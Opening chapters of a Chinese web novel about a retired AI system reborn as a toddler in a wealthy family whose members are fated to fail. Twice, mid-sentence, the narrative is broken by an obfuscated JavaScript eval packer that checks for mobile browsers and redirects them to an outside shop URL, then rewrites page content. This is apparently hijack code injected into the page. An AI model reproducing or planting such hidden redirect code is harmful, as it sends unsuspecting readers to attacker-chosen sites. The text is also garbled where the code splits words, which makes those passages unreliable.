《全家炮灰,但我万界团宠》 1. 炮灰救赎系统 “小俞,看这里,这是什么呀,是会说话的玩偶小羊哦~” 柏家别墅内。 温时礼正夹着嗓子,举着搭载了哄娃AI的最新款玩偶,试图引起妹妹柏俞的注意。 见柏俞并未搭理他,温时礼不太自然地摸了摸鼻子,轻咳了一声。 他手中的玩偶发出了童真的机械音,打着招呼道:“小鱼你好,我是小羊,你想听睡前故事吗?” 只是这只熬夜、拼手速抢购到的限量款玩偶,似乎并没有引起柏俞的注意,她只是讷讷地盯着沙发,对周围的一切无动于衷,自顾自地眨了一下眼睛。 刚刚穿来,还未和身体完全融合的柏俞在识海里惊喜地转了个圈:会说话的人工智能哎。 作为穿书局最先进的人工智能系统,柏俞对同类AI有着天然的好感,她迫不及待想和这个时代的人工智能交流了! 但刚刚退休穿来,柏俞暂时还无法完全控制新的身体,更无法发出声音,只能焦急地催促主系统:我什么时候才能和身体融合好啊。 主系统的提示音适时响起—— 【主系统:恭喜炮灰救赎系统“柏俞”成功退休!】 【融合问题请耐心等待,不受打扰的情况下,预计10分钟内完成。】 【主系统:作为努力奋斗了300年的最佳系统,你一共服务了88位宿主,拯救了他们的炮灰命运,且每一任宿主都对你打出了五星好评!】 【主系统:不论是古代、现代还是未来,你的足迹遍布三千小世界!】 【主系统:感谢你这300年来的辛勤付出,主系统为你准备了最适合你的家庭,现在你是一个三岁的团宠幼崽,准备好迎接当人类咸鱼的悠闲生活吧!祝你退休愉快!】 【主系统:当然,如果你还想为穿书局工作,我们欢迎你重新上岗,鼓励退休返聘!】 …… 哪个好人还没退休就想着返聘。 柏俞撇撇嘴,不太高兴地关闭了主系统,又期待地阖上双眼,专心等待意识与身体完全融合。 温时礼见柏俞坐着兀自发呆,还闭上眼睛一副不想理他的样子,抬起手揉了揉了她的脑袋,缓声哄道:“陪哥哥玩玩偶好不好,你都没有陪哥哥玩过,哥哥也很喜欢玩过家家哦。” 见柏俞还是没搭理他,连眼睫都没动一下,温时礼叹了口气。 真是拿小孩没办法。 他隐隐有些焦躁,但面上不显,语调不变道:“你不是和小姨说,你怀里的小狗和哥哥手里的小羊,他们是好朋友吗,好朋友是要经常一起玩耍的哦。” “理理哥哥吧。” 温时礼戳了戳妹妹胖嘟嘟的面颊,觉得手感不错,又动手捏了两下。 专心致志的柏俞:“……” 他真的很想玩过家家吗? 一再被打断融合的柏俞疑惑地睁大了双眼,诧异地看了新到手的便宜哥哥一眼。 这个自称哥哥的人明明长得人高马大,竟然这么不成熟!柏俞不赞同地在心里摇了摇头。 不像她,已经是一个成熟的300岁幼崽了! 真是拿你们成年人没办法! 柏俞无可奈何地在“退休清单计划”上加了一条:正式成为人类后,要陪幼稚哥哥玩过家家。 “温先生。” 穿着温馨、衣着鲜艳的儿童心理干预师顾原坐在沙盘桌旁,她翻开看诊记录,中断了这段有来无往的交谈。 在顾原眼中,柏俞始终一动不动,明显是陷入了自己的小世界,摆明了根本不想搭理外界。 她例行提醒道:“这是您第四次陪伴柏小姐做心理干预。” 顾原再次确认家属所提供的“协仁医院”病例信息: 柏俞,三岁。 完全没有社交意愿,只亲近熟悉的家庭成员,不喜欢和外人交流,对外界变化漠不关心,与其搭话时常会被忽略,但与外人对视时眼神不闪不避,敏感问题存疑。 注意力集中,悟性高,学东西极快,儿童智力测试分数远高于平均水平,回答问题时条理清晰,逻辑表达能力优秀。 声带等发音系统发育正常,能流利表达,且掌握的词汇多,但不爱说话。 情绪十分稳定,没有危险行为,也没有刻板行为,不会转圈玩手,不抗拒新路径新方法,只是不爱动弹。 诊断意见:本院认为其不患有“孤独症谱系障碍”,智力发展远超普通水平,疑似单纯不爱理人,有自己沉浸思考的小世界。 建议:多提供陪伴,尊重了解孩子兴趣,鼓励孩子开口,提供稳定的输入输出环境。 不建议将孩子送往普通幼儿园,建议申请少年班智力测试。 “协仁医院”是A市里最好的三甲,虽然医生给出了没问题的诊断,但柏俞家长还是觉得不够放心,担心她因社交问题吃亏,专门为她请了上门的儿童心理干预。 顾原沉默地望着诊断记录:这不就是确诊为孤僻的神童吗? 天才儿童一般都有自己的行为准则,大多有着各自的小脾气,需要成年人平等地和他们对话。 顾原看着温时礼随意地将柏俞的脸捏扁搓圆,担心他惹小孩生气,出声提醒:“您应该清楚,柏小姐不容易接纳外人,今天还有一下午的时间,可以让柏小姐自己待一会,等她完全放松想理人了,我们再开始今天的沙盘干预。 说到这,顾原停顿了一下,她将看诊记录翻到最新的一页,才继续道:“柏小姐情况特殊,我们需要十足的耐心,有些孤僻的宝宝都是这样的,请放宽心,这种事情急不得。” 顾原宽慰着面前这个娱乐圈的新人导演。 网上都说温时礼脾气暴躁,性格阴郁极端,工作认真但要求极高,时常会对人冷脸。 虽然前三次看诊,温时礼一直都表现得温和有礼,对待妹妹也是轻声细语、无微不至,有时候甚至会发出夹子音,就为了吸引妹妹的注意。 冰山酷哥夹子音,这一幕要是录下来放到网上,不知会叫多少粉丝惊掉下巴。 但顾原能敏锐地察觉,温时礼做事要求条理分明,有时甚至会有些急切,是任务发下来立马就要完成的行动派,如果任务进程一直受阻,他就会泄露一丝急功近利,只是面上不显,一副端端君子模样,还能装作心平气和地解决问题。 所以她实在担心,温时礼会因为心理干预收效甚微而心生烦闷。 影响干预进程是一个问题,更重要的是,如果对方怀疑自己的专业水平,她将会失去这个重要客户。 豪门圈时常会安排聚会,十分注重人脉交流和圈层推荐,如果被打上能力不足的标签,她基本上很难再为其他豪门服务。 “我知道。”温时礼随口应了一句,收回在妹妹脸上作乱的手。 他起身,捞过地毯上抱着小狗玩偶发呆的宝贝妹妹,将她抱上沙发,温声哄道:“小俞一直看着沙发,是想坐到沙发上吗?” 话音刚落。 温时礼放在玩具桌上的手机“嗡嗡——”地震动起来。 他举玩偶逗柏俞的手一顿。 陪妹妹看病的时间是温时礼特意空出来的,手机也开了免打扰,只有家人、助理的信息才能接收到提醒。 助理知道他今天下午有很重要的事情,一般不会轻易打扰。 会是家人的来电吗? 还是什么助理无法解决,但情况紧急的事? “温先生。”顾原离开沙盘桌,在电脑桌前轻声唤他。 “请您帮忙输入监控密码,我看一下最近五天柏小姐的行为录像,看看她最近在学什么思考什么。” 顾原看着温时礼弯腰打开监控录像,直觉他有些分神。 顾原心想:刚刚手机响了,是有什么急事吗…… “如果您有急事,可以先行处理。”顾原励志给顾客最好的服务体验,善解人意道,“柏小姐目前的状态并不适合强行建交,我们让她自己待一会儿,或者给她放个动画片转移注意力,她喜欢看《小肥猫的幸福生活》,等她彻底放松下来,我们再开始今天的社会化干预。” 温时礼冷淡地嗯了一声。 他调出玩具房的监控后,抄起手机快速扫了一眼屏幕。 助理正噔噔噔地给他发来信息。 【助理:温哥,打扰。武指廖前辈和女二江小姐在剧组吵起来了。】 【助理:廖前辈现在闹着要罢工,他把剧组高价定做的道具摔坏了,江小姐手机也被他摔坏了,但他本人很生气,要毁约,不再做我们剧组的武术指导了。】 【助理:最重要的是,廖仗着自己武打明星出道,是老前辈,未经工作人员同意,让助理给他拍武术指导花絮。应该拍到了什么,他态度强硬不同意删视频照片,要发到网上去……】 【助理:现在已经在安抚了,事情经过待我核实后向您汇报。】 【助理:演员江也火气很大,暂时安抚住了,就是廖前辈应该怎么处理?】 温时礼皱着眉熄灭屏幕,随手将手机揣进了上衣口袋。 他从玩具桌的抽屉里掏出柏俞平常玩的平板,播放起妹妹爱看的动画片。 他右手将平板摆在桌上,左手作电话状,向妹妹报备道:“小俞,哥哥去门口打个电话哦,有事情就喊哥哥好不好。” 温时礼将柏俞扶正坐好,又把小羊玩偶挨着她摆放好,让她一个人窝在沙发里看动画片,确认不会发生危险后,他才软声叮嘱道:“要乖乖的,哥哥一会就回来哦。” “咔哒”的关门声响起。 终于走了…… 查看监控的顾原暗自松了口气。 还是柏俞小姨陪着看病轻松一点。 虽然温时礼的脸确实让人赏心悦目,骨像优越五官也立体,但他的气场太强,面无表情就像时刻在摆冷脸,还总是时不时地释放出“我脾气不好”的交流信号,让她工作的时候压力很大。 而柏俞的小姨则活泼开朗,极好说话。 但豪门忙起来顾不上孩子也实属正常,只能把陪着心理干预的任务交给不太靠谱的冰山哥哥。 不过他们是亲兄妹吗?顾原八卦地盘算着,年龄相差20岁,不知道里面会有多少八卦传闻。 豪门的水真深。 顾原拉动鼠标拖着进度条,心里微微泛酸,这玩具房大得堪比客厅,玩具更是让人目不暇接,还特意安了监控,就只是担心小孩自己玩的时候出事。 再也不会笑了!除非世界上每个人都给她一块钱。 有钱就算了,后代还智力超群,虽然不爱理人,但也天使的不哭不闹啊! 她转过身看了柏俞一眼。 小孩正抱着玩偶目不转睛地盯着平板,眼睛圆溜溜的,短手短脚,看起来十分的软糯可爱。 顾原立刻心软软地露出一个姨母笑。 确认小孩没事后,她回身戴上耳机,重新看起了监控录像。 看诊期间,柏家是不允许她携带电子设备的,顾原撇了眼电脑右下角,在心中暗暗计算着时间。 小孩的眼睛还没发育完全,看电子设备的时间一次最好不超过半小时。 …… “把他扔进垃圾车里。” 动画片的台词声回荡在玩具房里,房间一下热闹起来。 柏俞猛地睁眼,入目就是支在桌上的平板电脑。 这就是人类爱看的动画片吗?! 柏俞有些惊喜地抬起肉手遮住眼睛,从手指缝里偷偷看去。 用人类的眼睛看,画面好鲜艳哦,而且挡住了会看不见哎,好新奇的体验! 她用力抱紧怀里的小狗玩偶,扭动身体在沙发上蛄踊了两下,感受着身下软乎乎的触感。 哦!从来没有过的体验,这种软乎乎的感觉! 柏俞大喜:当人类真好啊!我喜欢当人类! 而且主系统还为她挑选了匹配度最高的小世界,还强调她可以摆烂安心当咸鱼了! 柏俞高兴地想原地打滚:好期待作为人类的退休生活!再也不用努力工作,24小时为宿主待命了! 她不太熟练地在脑海里呼叫系统,以前都是宿主这么喊她,现在终于轮到她体验一下了! 【柏俞您好,已为您加载退休系统界面。】 面前凭空弹出的一道绿色的光屏界面。 以前宿主绑定她的时候,看到的就是这样的场景吗! 柏俞激动地浏览起界面上的内容。 【姓名:柏俞;身份:柏家团宠(恭喜您深受家人关爱!)】 【家庭关系:霸总母亲柏云漪(炮灰等级8);画家父亲温渊(炮灰等级1);导演大哥温时礼(炮灰等级7);创 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762170|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业小姨柏轻雾(炮灰等级6)(作为三岁幼崽,能认出这些人已经很厉害啦!)】 看到熟悉的炮灰二字,柏俞甜甜的笑容淡了下来,嘴角抿成一条直线,她心中隐隐有些不好的预感。 【社会关系:目前在外人眼中,您还只是个很自闭、不爱搭理人、不会说话的呆傻宝宝,不同社会关系等待您自行解锁!】 【家人处境:霸总母亲遭人算计,事业滑坡受打击。 导演大哥被疯狂背刺,无缘奖项全网黑。 创业游戏制作的小姨处处碰壁,最终沦为素材库…… (新的家人全家炮灰,面临破产危机,下场凄惨呢!)】 【炮灰进度详细情况:待加载……】 【个人处境:您即将被各种拉踩打脸,沦为豪门聚会上炫娃的炮灰对照组。】 【特别注意事项:您如今是三岁幼崽,身体机能尚未发育完全,体力有限、精力有限、脑容量有限,如果觉察自己变笨请不要担心,注意多休息哦!】 柏俞看看光屏界面,又低头看了看自己肉肉的小拳头,不高的小个头。 全家炮灰,下场凄惨…… 怎……怎么会?!小小年纪她就得撑起这个家的未来了吗?! 想安稳地退休,过上人类平静的生活怎么这么难?! 柏俞郁闷地将脑袋埋进玩偶小狗的胸口,兴致不高地蹭了蹭它。 她打了一个哈欠,有些困倦地查看起还为她保留的退休系统权限。 【退休系统功能: 一键翻译(自动开启,再难的语言都不怕); 通讯录(欢迎联系前宿主)[注意:您有未回复信息,请注意查收]; 快穿按钮(想前宿主了可以穿回去看看); 过往档案(当前您是幼崽,脑容量过小,无法存放过往经验以及记忆,请不用担心,过往经验和记忆会随着年龄增长慢慢恢复,急需使用也可点击重新下载)】 柏俞无精打采地环顾四周,思索着接下来应该怎么办。 在沙发上打滚的她无意间摸到了玩偶毛茸茸的肚子,这才想起来,她很期待与这个世界的人工智能交流来着。 柏俞精神一震,鲤鱼打挺坐起来,礼貌地捧着小羊玩偶,与它保持平视:“你好。” 小羊玩偶:“你好,我是小羊,你想听睡前故事吗?” 柏俞有些不解:“你就叫小羊吗?可是我们系统都有不同的名字,你没有专门属于自己的名字吗?” 小羊玩偶:“我暂时还无法理解您的需求,更多功能敬请期待。” “你笨笨的。”柏俞的嘴惊喜地撅成了O型,这是还在初级阶段的AI程序哎! 按辈分来算,这是她的老祖宗! “老前辈!”柏俞恭敬地捏起小羊玩偶的棉花手,牵着这棉花手拍了拍自己的脑袋。 “你想要进步吗!” 柏俞作为最新的人工智能系统,虽然过往经验和记忆被暂时封存,但编程代码开发是她的出场设置。 在AI研发领域,她十分的有发言权,毕竟那是她从小熟记的成长史。 这样全家炮灰,面临破产也没关系。 她可以偷偷帮前辈进步,偷偷存钱,长大了养所有人! 可是要怎么样才能帮前辈升级系统呢? 现在她可没有系统执行界面了。 柏俞仔细查看着退休系统功能,果然没找到执行界面,最后只能点开了冒着红点的通讯录信息。 [剑修/张狗蛋:系统,你很忙吗?怎么不回消息!] [剑修/张狗蛋:我们完成交易了,我是不会缠着你的。] [剑修/张狗蛋:可恶!理我啊!] [剑修/张狗蛋:你在忙什么?!你在外面有其他小宿主了吗?!] …… 张狗蛋是哪位? 柏俞看着消息备注,头顶冒出了一个问号,他怎么跨时2年还在坚持不懈地给她发信息? 除了他,还有几十个人的消息她都还未回复。 先不管了,柏俞小手一挥,给通讯录里的88个好友拉了一个大群。 【[十万个想知道]群创建成功,快发消息打声招呼吧。】 [系统:应该怎么帮人进步。] 柏俞一字一顿,极其认真地输入了她的问题。 从前都是她帮宿主解决问题,这下终于轮到宿主为她答疑解惑了。 不对。 柏俞反应过来,应该问在现代怎么帮AI进步。 AI小羊还没有自己的名字和人类的身体,它还不能算是一个人类。 但柏俞还没来得及修改问题,玩具桌上的平板就弹出了一个系统消息。 柏俞放下玩偶,颠颠地爬起身,伸长胳膊去够桌上的平板电脑。 电话!柏俞点开了消息弹窗,弹出一个视频邀请。 她想都没想就点了同意。 对面似乎没想到她会那么快接通,摄像头对着华丽的天花板,水晶吊灯炫目得有些刺眼,只有声音表明了打电话的人还在。 几个稚嫩的童声从听筒处传来。 “我不管!我也要小羊玩偶!凭什么她能玩我玩不到的玩具!” “不哭哦不哭哦,哥哥给她打电话了,一定让她把小羊送你!” “就是就是,我们都没有,那个新款小羊限量200只哎!虽然我不想要,但我妈妈说了,限量的都是应该抢的好东西。” “我就要!!哇——” “接了吗?接了吗?” “傻子应该不会接电话吧,我和她说话她都不会回答我。” “接通了接通了!” 一阵天旋地转后,视频的画面终于摆正,屏幕上出现了三个五六岁的幼童,两男一女。 年纪较大的那个男生正一脸倨傲地盯着柏俞,他一抬下巴,颇有气势地发言道:“我命令你,把你家的小羊玩偶送给我妹妹。” 他如同守护公主的骑士般,拍了拍自己的胸膛,承诺道:“我爸说了,你是笨蛋,但只要你把玩具送给我,认我作大哥,我以后都会保护你的。” “……” 开门就听到有人骂自己妹妹是笨蛋,温时礼额头青筋直跳。 温时礼:是哪个混蛋!敢这么说我妹妹! 2. 故作坚强的成年人 温时礼压抑着怒火,没出声,他迅速凑到柏俞身边,和她一同看向屏幕。 视频正中站着一个叉着腰的男孩,他身后的地毯上有个更小一点的女童正在哇哇大哭,女孩身旁还坐了一个挂着鼻涕泡搭积木的小男孩。 其中两个孩子温时礼见过,是影视基地老板张强的孩子,哥哥叫张光耀,妹妹叫张馨文。 温时礼正筹备拍摄的古偶言情剧,就和张强有合作正在洽谈。 那时正是周末,幼儿园放假,张强将两个孩子带到影视基地里玩耍,他对俩小孩宝贝得紧,妹妹一哭就要先暂停谈话,跑出去哄满地打滚的小孩。 “哥哥……” 以前只喊过宿主,从没喊过这么亲昵的称呼,柏俞轻轻顿了一下,才继续道:“你很想和他们说话吗?” 她被温时礼突如其来的凑近挤了一下,柏俞打了个哈欠,眼尾泛起生理性的泪花,为了稳住身体,她只能一只手撑在沙发上,另一只手温和地拍拍温时礼的后腰,示意他放轻松:“你挤到我了哦,快过去一点。” “嗯。”正在气头上的温时礼忽略了妹妹的请求,他淡淡答应道,“哥哥确实有话想对他们说。” 温时礼不清楚张强何时何地见过柏俞,也不清楚柏俞为什么会有张光耀的联系方式,但不妨碍他现在十分恼火。 不过对小孩发火并不符合温时礼的行事作风,他露出了标准的职业假笑,尽量心平气和道:“小朋友,随便骂人是不对的哦。” 叉腰神气的张光耀被他吓得一激灵,立马手忙脚乱地挂掉了视频。 温时礼长手一伸,拿过桌上的平板,低头担忧地瞟了一眼妹妹的神色,一下就瞥见柏俞的眼睫上挂了两点未干的泪花。 可恶的张强一家! 他顿时心疼地搂过泪眼婆娑,但不敢哭出声的坚强妹妹。 小孩太乖也不行,不哭不闹,受委屈了也不说,就只会自己默默忍受。 “受委屈了要和家里人说,你还小,向家长求助并不丢脸。” 温时礼抽出一张湿巾,细细擦去柏俞眼尾的泪,同时有些期待地看向她,心里准备起了安慰人的措辞。 可柏俞并没有如他所愿的那般扑进他怀里求安慰,只是自己一个人默默又往沙发里缩了缩。 温时礼:人都开始蜷缩了……她现在肯定很委屈,但因为没有安全感不够信任我,不愿意向我倾诉。 不能逼小孩说话,温时礼气愤地将张光耀的飞鸽号拉入黑名单,转头安慰柏俞道:“没事的没事的,我们以后不和他们玩了。” 被哥哥挤着不舒服的柏俞使劲想和温时礼拉开距离,但便宜哥哥很没眼力见的一直在往她身边凑。 柏俞无奈,只能放弃挣扎,没有灵魂地询问,试图转移便宜哥哥的注意力:“为什么呀。” 为什么要拉黑?! 她看着黑名单里的名字面露不忍,颇为不解地望向温时礼。 这可是未来会买新款AI小羊的目标客户啊! 等会就偷偷加回来! 温时礼和面露疑惑的可爱妹妹目光相接,心里的火气霎时消了大半。虽然愤怒于外界对妹妹的误解,也不希望妹妹被别人欺负诋毁,但她现在好歹愿意搭理自己了,愿意正常沟通,也算是一种进步。 “当然可以向家人求助啦。”温时礼误以为柏俞过于独立,觉得向大人求助会没面子,一步步引导道,“你还小,想要什么都可以和大人说,如果不开心受委屈了也要告诉大人,不要自己一个人偷偷憋着哦。” 他将平板的屏幕擦干净,而后归还给柏俞,接着安慰道:“是他们没礼貌,小俞才不是笨蛋呢,小俞是最聪明的小孩,我们不和没礼貌的人交朋友。” 完全没有感觉到委屈的柏俞被夸得一头雾水,虽然不理解便宜哥哥一直在说什么,但柏俞还是颇为沉稳地没有反驳他。 为了不暴露她刚当上人类的事实,柏俞装作听懂地点点头:“哦。” 但她心里微微纳闷:通讯录里的每个人都是朋友预备役吗?不是只是通讯工具吗? 柏俞:他为什么一直强调可以和家人求助,是不是在为和我倾诉委屈作铺垫? 出门打个电话,回来就生气了,肯定是打电话的人惹到他了。 准备倾诉委屈还要作这么久的铺垫。 柏俞怜悯地又拍了拍温时礼的后背,颇为成熟地在心里叹了口气。 真是个自尊心很强的成年人啊。 她第一次当人类,对情绪的感知不是特别敏感,也失去了人际交往的过去经验,不是很清楚该怎么安慰别人,只能小大人似的换位思考。 她诚恳地安慰道:“哥哥别生气。” 柏俞斟酌地开口,担心伤到温时礼的自尊心,只能委婉地说:“我们互相倾诉吧,做人要有来有往,只有一方承受和付出是不会有好结果的。” “哥哥你先说,不要一个人憋着,我会协助你解决问题的。” 话落,柏俞一副都交给我的自信模样,双眼亮晶晶地盯着温时礼。 温时礼:……怎么还反客为主了。 他心情颇为复杂,觉得三岁怎么会懂这么多,肯定是受的委屈多了无师自通,他只能推脱道:“小俞先说吧,哥哥有点害羞。” 柏俞看着温时礼面露难色,误以为他在故作坚强,直截了当道:“不行,是我先提出游戏规则的。” 看着柏俞一副人小鬼大的模样,温时礼有些忍俊不禁,他笑着起身揉乱柏俞的头发,虽然客观上清楚她没法帮忙解决问题,但主观上还是对她关心自己倍感高兴。 “好吧,哥哥先说。” 为了满足她的请求,给予她表达的正反馈,温时礼穿上外套,平等地询问她的意见:“哥哥剧组出了点问题,现在要赶过去,你愿意自己和顾原姐姐玩沙盘吗?” 突然被点名顾原有些窘迫。 她先前看柏俞很认真地在和玩偶互动,觉得可爱,而且这是小孩自己的游戏时间,就没有出声打扰。 等柏俞自己接起视频电话,她没有身份立场也不合适出声打断,即便这是一个略带欺凌意味的电话。 但是三岁就能说出“有来有往”这样的话,顾原更加确信医院的诊断:这是一个过分聪慧乖巧的天才幼崽。 只是柏俞对情感的感知似乎有些迟钝,不会因为外界的评价感到难过,也不会因为外界的夸奖而感到开心。 顾原窘迫地假装自己很忙,想表现得自己没有在听墙角,她故作镇定地蹲下身和柏俞平视,询问道:“你愿意和姐姐单独玩沙盘吗?” 怕小孩心里不愿意,又不好拒绝,她善解人意地给出了另一个选择:“如果不愿意也没关系,我接下来三天都有空,可以按你愿意的时间重新安排。” “那我要和哥哥一起出门!”柏俞一把抓过温时礼的衣袖,不肯放他离开。 她不放心让他一个人出门,便宜哥哥的炮灰值高达7分,她担心他自己解决不了。 况且她已经承诺过,要协助他解决问题。 “哥哥要去剧组,鱼龙混杂。”温时礼担心柏俞听不懂,又详细解释道,“就是陌生人很多,不安全,你乖乖待在家里,哥哥处理完事情立马就回来。” 果然很危险!柏俞坚定地摇了摇头。 人高马大的成年人都感到危险,情况一定十分紧急! “不要,我要和哥哥一起去!”柏俞警惕地攥紧手中的袖角,担心温时礼自己跑掉,一再被拒绝,她小嘴一瘪,有些不高兴。 但作为成熟的300岁系统,她又做不出在地上撒泼打滚的举动,只能强忍着原地转圈的冲动。 温时礼拿妹妹没办法,只能将她抱起来答应道:“好吧好吧,一起去。” 和顾原预约好明天的心理干预时间后,温时礼和管家一同将顾原送出家门,又因安装了儿童安全座椅的车被柏轻雾开走了,温时礼担心柏俞一个人坐会发生危险,第一次坐柏家司机开的车出了门。 这是他第一次坐家里的车,一路上他都有些拘谨,抱着柏俞一动不动。 刚坐上车的柏俞又打了个哈欠,她在温时礼怀里找了个舒服的姿势,摸了摸便宜哥哥环着她的手。 柏俞:都害怕得浑身僵硬了,一动都不敢动,还嘴硬不让她来。 柏俞用力捏了两下温时礼的指骨,试图给他传达力量让他安心:我一定协助你解决困难。 温时礼没感觉到动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13762171|145594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作里的安慰,他在心里默默复盘:小姨柏轻雾喜欢带孩子出去,说是给小孩拓展社交,应该是哪一次见过张强一家。 可是柏俞每天过得很独立也很省电,即使家里有保姆管家,也不怎么搭理,这不应该是一个三岁幼童的状态。 孩子只想要家人的陪伴,但柏家全员大忙人,散装得大人之间一个月见不上几面,温时礼怀疑,如果没有柏俞这个幼崽存在,这个家恐怕早就散了。 他拢拢罩在柏俞身上的外套,担忧地想:淡漠的家庭氛围导致她沉默寡言,过分孤僻,将来吃亏被同龄人欺负不会求救该怎么办?! “哥哥说了自己的烦恼,该小俞说了哦。” 柏俞正垂眸规划着未来怎么赚钱,闻言含糊地应了一声:“想当咸鱼好难啊。” 退休了没有系统操作界面就是麻烦,不能直接操作给AI升级。 温时礼被柏俞思维跳跃的烦恼逗笑:“不会的,小俞只要健康快乐,一直当咸鱼无所事事也没关系,哥哥会赚钱养你的。” 柏俞不赞同地抬起头,磕到了温时礼的下巴,她哼哼唧唧地捂住脑袋,心想:你很快就要被炮灰了,我打铁还得自身硬。 她振作精神,重新点进退休系统界面,叉掉几百条私人消息,点开了她新建的群聊。 一会儿没关注,消息已经飙到99+了。 在暖和的怀抱和车流的催眠下,柏俞实在困倦得无法处理过于复杂的信息,只能匆匆看了几眼最近的消息回复。 [剑修/张狗蛋:你果然在外面有其他小宿主了!!还不只一个!!!] [影视基地/张强:有生之年还能联系上系统,十年过去了,我娃都生两个了。] [画师/楚严玉:@影视基地/张强谁问你了吗?这是系统的单推群,没人关心你过得怎么样!] [剑修/张狗蛋:新的小宿主比我更有天赋吗?这么不让你不省心,还要麻烦你向外求助,建议让他自生自灭。] [基地首领/赵得铸:我把之前大家的建议都汇总了。帮人进步的小妙招.PDF] [手机研发/杨珍妮:借花献佛……] [外交官/李立泽:帮人进步的小妙招.PDF] [外交官/李立泽:@基地首领/赵得铸我下载看了,你夹带私货,后面写了800字辣眼睛的小作文,帮你删掉了,重新整理了一份,不用谢。] [基地首领/赵得铸:你***,删掉我的加上自己的?!你***!] [器修/钱多多:我再也不会快乐了……除非你们都从世界上消失。] [异国王储/Kari:好多人啊?!(撤回)] [异国王储/Kari:Idon’tunderstandChinese.I’mtheonlyone.(系统自动翻译:我看不懂中文,她只有我一个。)] [手机研发/杨珍妮:欲盖弥彰……] [科研/蓝依依:……] 消息还在不断增多。 意识模糊快要入睡了的柏俞:…… 他们都在吵什么呀! 禁言,通通禁言! 【[十万个想知道]群禁言成功,本次将禁言12小时,仅管理员可以发送消息。】 刚禁言完,柏俞就两眼一闭,睡了过去。 *** 张家。 张强一到家,就发现自己的宝贝女儿又瘫在地毯上大哭。 刚和系统联系上的喜悦荡然无存,他急忙跑过去抱起张馨文,心疼地问发生了什么,是谁欺负她了。 张馨文获得她想要的关注后,哭得更起劲了。 来张家串门找好兄弟玩的赵鹤吸溜了一下鼻涕,感慨道:哇,能哭好久。 在女儿这没能获得答案,张强只能扭头询问儿子。 手里捏着积木的张光耀悄悄背过身,有些心虚自己没管妹妹的哭闹,而是自顾自地玩得很开心。 害怕爸爸责怪自己没照顾好妹妹,张光耀梗着脖子含糊道:“我们和柏俞打电话,说要……和她一起玩,他哥哥不同意……把妹妹吓哭了。” 张强:柏俞哥哥? 张强:可恶的温时礼! 3. 穿越 柏俞再次睁开眼时,已是四个小时后。她躺在温时礼包年的酒店大床上,像猫咪睡醒一般撑开身子伸了个懒腰。 温时礼常年居无定所,要拍戏工作忙就包剧组附近的酒店套房,没工作找灵感就跑到深山住上几天,成年后就没在柏家别墅过过夜。 柏俞刚睡醒还有些蒙,她蜷在被窝里拱了两下,才冒出个脑袋,睡眼惺忪地打量着四周。 窗帘拉得严丝合缝,床头却留了一盏小夜灯,她带来的小背包正端端正正的立在床尾。 柏俞嗖地一下重新缩回被子,不一会从床尾再次冒出头来。 她扒拉放倒自己的背包,从里面翻找出水壶,急切地喝了几大口水。 刚睡醒,她的喉咙干得冒烟,当系统不需要吃喝,当人类却需要,柏俞默默记下这个注意事项,心里感激起哥哥温时礼。 出发前她给自己收拾背包,只往里面装了一个平板,还是温时礼给她多放了一个水壶和一些点心零食。 及时补充好水分,柏俞这才觉得自己重新活了过来,为了报答温时礼的救命之恩,她趴在床尾打开了未浏览完的系统界面。 [十万个想知道]群里暂时没什么有用的信息,柏俞只能返回进入主系统界面。 主系统提示她能重新下载过往经验包,柏俞惊喜地点进程序,输入现代程序开发的关键词。 靠谱的主系统为没有面板可以直接修改程序的柏俞,提供了最简洁的人类工作经验——看招聘,做简历,面试,坐电脑前上班。 【主系统:你需要找一份相关工作,系统已主动为你检索筛选全网招聘,符合你要求的链接已统一打包。[链接]】 【主系统:相关工作需要过往作品集,检测到你急需一份工作,但幼崽不适合长时间伏案敲代码,已为你筛选能与该时代兼容的过往作品。】 【主系统:检测到你曾经为宿主提供过游戏制作服务、网络系统维护服务、电影特效服务……研发过自动避让的轮椅程序、智能AI慰问程序……请选择你需要的过往作品下载,绑定配置足够的电脑,将直接为你转移至该时代电脑中。(注意:当前你为幼崽,过度载体脑容量小,不宜大量下载,选择自行重新研发也需要注意休息。)】 【主系统:请像人类一样使用双手,通过电脑制作一份简历吧!简历模版.word】 现在她不能像以前一样全年无休无所限制了,柏俞翻看过往为宿主们提供的不同服务,最后选择了“智能AI慰问程序”,界面显示下载至少需要12小时。 柏俞掏出自己的平板,她花3分钟简单上手了word的不同功能,而后按照主系统给的模版制作简历。 柏俞抓耳挠腮地瞎编,觉得自己浑身有蚂蚁在爬,为人十分的不真诚,因为她没有实习经历,也没有校园经历,更没有技能证书,有的只是些记忆模糊的项目经验。 柏俞:…… 当系统就是这点不好,工作经验300年,归来仍是新人。 柏俞绞尽脑汁,终于将一份排版精美,但信息模糊的简历制作完成,她按照主系统检索好的链接,先投了几个试试水。 满纸荒唐言,唯一的真话就是她写工作经验300年。 柏俞不忍回看,她逃也似的扔下平板,重新开启了主系统界面逃避现实。 “叮——” 【炮灰进度详情已加载完毕】 【“剧组丑闻”事件关键节点: 事情起因:武术指导廖横武(马赛克)女演员江岚。 1.廖横武擅自拍摄花絮,录到江岚甩巴掌视频。[视频存档] 2.江岚手机录制(马赛克)证据,但手机已被廖横武砸坏,该时代科技无法复原其手机,证据缺失,对其不利。[视频存档][手机受损分析] 3.剧组定做的长剑受损,但拍摄紧急。[长剑受损分析] 